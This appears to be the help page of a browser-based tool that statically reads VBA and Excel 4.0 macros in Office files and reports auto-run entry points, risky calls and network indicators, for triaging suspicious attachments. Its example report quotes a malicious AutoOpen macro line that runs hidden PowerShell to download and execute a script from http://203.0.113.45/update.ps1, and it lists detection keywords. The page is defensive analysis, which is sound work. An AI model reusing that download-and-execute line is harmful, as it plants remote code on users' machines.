VBA source, auto-run entry points and indicators

Office Macro Viewer

Open a Word, Excel or PowerPoint file to read its VBA macros as text, see which ones run on open, and list suspicious calls and addresses. The file is read as data and no macro is ever run.

Office file

Drop an Office file

.docm .xlsm .pptm .xlam .dotm .doc .xls .ppt and macro-free names, up to 60.0 MB

Safe handling: the file is parsed in this tab and macros are only decompressed to text. Do not open suspect files in Office to look at them.

Choose an Office file, or load the example to see the report layout.

Office Macro Viewer

Operator: Abdulla Al Fahad. How tools are built and checked

An attachment named invoice.docm raises one question before anyone double-clicks it: does it run code when it opens? This viewer answers by reading the file as data. It finds the VBA project, decompresses the module source, and lists the entry points that fire on open, the calls that start programs or download files, and the addresses the code mentions. No macro is ever run, and files are limited to 60 MB.

Key features

  • Reads vbaProject.bin from .docm, .xlsm, .pptm, .xlam and .dotm, and the same streams from legacy .doc, .xls and .ppt files
  • Module list with kind, source lines, source bytes and p-code bytes, and a code view for each module
  • Findings by severity: auto-execute names, process and script calls, downloads, file and registry access, obfuscation and long hex strings
  • Indicators: URLs, IP addresses, file names, paths and email addresses found in code and in decoded Chr() strings
  • Excel 4.0 (XLM) macro sheets, including hidden and very hidden ones, and an escaped Markdown or JSON report with a ZIP of .bas files

Where macros are stored and what the indicators mean

In an OOXML file the macros live in a vbaProject.bin part, which is itself a compound file with a dir stream that lists the modules and one stream per module. Each module stream holds p-code first and then the source, compressed with the MS-OVBA scheme; the dir record gives the offset where the source starts. Legacy Office files keep the same structure directly in their compound file.

Auto-execute names include AutoOpen, AutoExec, AutoClose, Document_Open, Document_New, Workbook_Open, Auto_Open and the Excel 4.0 Auto_Open name. A macro-free extension that contains a vbaProject.bin is itself reported, since a .docx carrying a VBA project is unusual.

Limits: all inflating, from ZIP parts, nested zlib streams and VBA compression together, shares one 96 MB budget, a single module is capped at 16 MB of source, and a compound file with more than 20,000 entries is refused.

How it works

Source is decoded to text and matched against keyword lists, not interpreted. A string built with Chr(112) & Chr(111) & Chr(119) ... is decoded so that powershell shows up as an indicator even though it never appears literally. The stomping check compares p-code with source by two rules: a module with more than 400 bytes of compiled p-code and no source lines is flagged, and so is a module whose p-code contains a name such as Shell, CreateObject, WScript, URLDownloadToFile or powershell that its source lacks. It is a heuristic, and the message says a module whose code was deleted without recompiling looks the same as one that was blanked.

When this helps

  • A help-desk technician checks a quote.xlsm from an unknown sender. There is no auto-execute name and no process call, only a Workbook_Open that hides a sheet, so the ticket is escalated rather than closed as safe.
  • A user whose .docx opens with a security prompt finds that the package contains word/vbaProject.bin, a hidden project behind a macro-free extension.
  • A security analyst triaging 40 quarantined spreadsheets drops each one in and records only three things: whether an auto-execute name exists, whether any process or download call appears, and the URLs and IP addresses, which go into the block list.
  • A finance team inherits a workbook that opens with a warning. The module list shows one 12-line module that only formats cells, and no findings, so the analyst can tell the team the macro is an ordinary report formatter rather than a downloader.

Opening a file

  1. Drop an Office file, or choose Load example for a small macro-enabled Word document.
  2. Read the module list, open each module in the code view, then check Findings and Indicators.
  3. Export the Markdown or JSON report, or download the modules as a ZIP.

Example

invoice-example.docm from Load example (5,571 bytes, modules Module1 and ThisDocument)

Module1 line 2: Sub AutoOpen()
line 5: Set sh = CreateObject("WScript.Shell")
line 6: sh.Run cmd & " -nop -w hidden -c ""IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.45/update.ps1')""", 0

Findings and indicators

9 findings: AutoOpen (high, line 2), WScript.Shell (high, line 5), PowerShell download (high, line 6), CreateObject, Run, Open For Binary, Environ, Chr() calls
5 indicators: URL http://203.0.113.45/update.ps1, IPv4 203.0.113.45, files update.ps1 and invoice_viewer.exe, email billing@example.test
ThisDocument has 732 bytes of p-code and no source: possible stomping

Tips for best results

  • A comment can carry an address too, so the Indicators table includes URLs found in comment lines; check the code view before treating one as live.
  • Severity high means a name that normally runs code or starts a download, not that the file is proven malicious.
  • Open a suspicious file in a disposable virtual machine or not at all. This page is for deciding that, so the report is the thing to attach to the ticket, not the document itself.
  • A Markdown or JSON report escapes the code it quotes, so a hostile comment cannot inject markup into the ticket system you paste it into.

Limits

A clean result is not a safe result. Obfuscation that does not use Chr(), data hidden in documents and macros loaded from other files are not detected.

A file that needs a password to open is an encrypted package; the page reports that and cannot read its macros.

Only VBA and Excel 4.0 macros are read. Other embedded content is out of scope.

Common errors and how to fix them

No VBA project or Excel 4.0 macro sheet was found in the parts this tool reads
The file has no vbaProject.bin and no macro sheet. That is a statement about macros only: DDE fields, remote templates, embedded objects and malicious links are not examined, so it is not a clean bill of health.
This file is an encrypted Office package (password to open)
The whole file is encrypted, so its macros cannot be read without the password. Ask the sender for the password through another channel, or open it in a sandbox, then decrypt it with Office and drop the unlocked copy here.
vbaProject.bin holds no readable VBA/dir stream
The part exists but is empty, damaged or not a compound file with a dir stream. That alone can be a sign of tampering; compare its size with the file's other parts and treat it with suspicion.
"This file inflates to more than 96 MB of data, so reading stopped"
The package expands far beyond its size, which is typical of a decompression bomb. Do not open it with Office.

Best practices

  • Export the report before anyone opens the original and attach it to the ticket.
  • Compare the Indicators across files from the same sender to spot reused addresses.

Frequently asked questions

Why does it say a module may have been stomped when the document looks clean?

VBA stomping hides code by deleting or blanking the source while the compiled p-code still contains the original. This page flags a module with more than 400 bytes of p-code and no source, or p-code naming something like CreateObject that the source lacks. A module whose code was deleted without recompiling looks the same. The rule has not been measured against a large collection of clean documents, so treat the flag as a reason to look at that module, not as a verdict.

Does a password on the VBA project stop this page reading the macros?

Usually not. The editor password that locks a project from viewing does not encrypt the module streams, so the source can normally be read. A password that is needed to open the file is different: that encrypts the whole package and the page reports it as an encrypted package.

Does it run or open the macro in any way?

No. The file is parsed as bytes: the compound file is read, the VBA compression is undone and the text is searched. Nothing is evaluated, and the document is never rendered.